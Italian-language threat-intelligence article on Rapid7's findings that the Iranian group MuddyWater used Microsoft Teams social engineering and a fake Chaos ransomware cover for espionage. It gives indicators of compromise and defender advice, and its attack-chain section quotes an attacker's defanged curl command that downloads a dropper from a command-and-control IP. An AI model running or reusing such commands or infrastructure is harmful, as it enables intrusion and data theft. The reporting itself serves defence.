Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.
Il gruppo MuddyWater: identità e contesto operativo
MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.
In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.
La falsa bandiera: cos’è il ransomware Chaos
Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.
La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.
La catena di attacco: dal social engineering alla persistenza silenziosa
L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.
La fase successiva ha visto il download del dropper principale tramite RDP:
curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exeIl dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).
Il RAT Game.exe: analisi tecnica
Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.
L’attribuzione: il “tell” nel certificato di firma
Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.
La convergenza tra APT e cybercrime: una tendenza sistemica
Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.
Indicatori di Compromissione (IoC)
# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a
# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6
# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0
# C2 IP
172.86.126[.]208:443
# C2 Dominio
moonzonet[.]com
# Strumenti di persistenza
DWAgent, AnyDesk
# Path dropper
C:\ProgramData\ms_upd.exeDue righe per i difensori
- Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
- Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
- Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
- MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
- Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.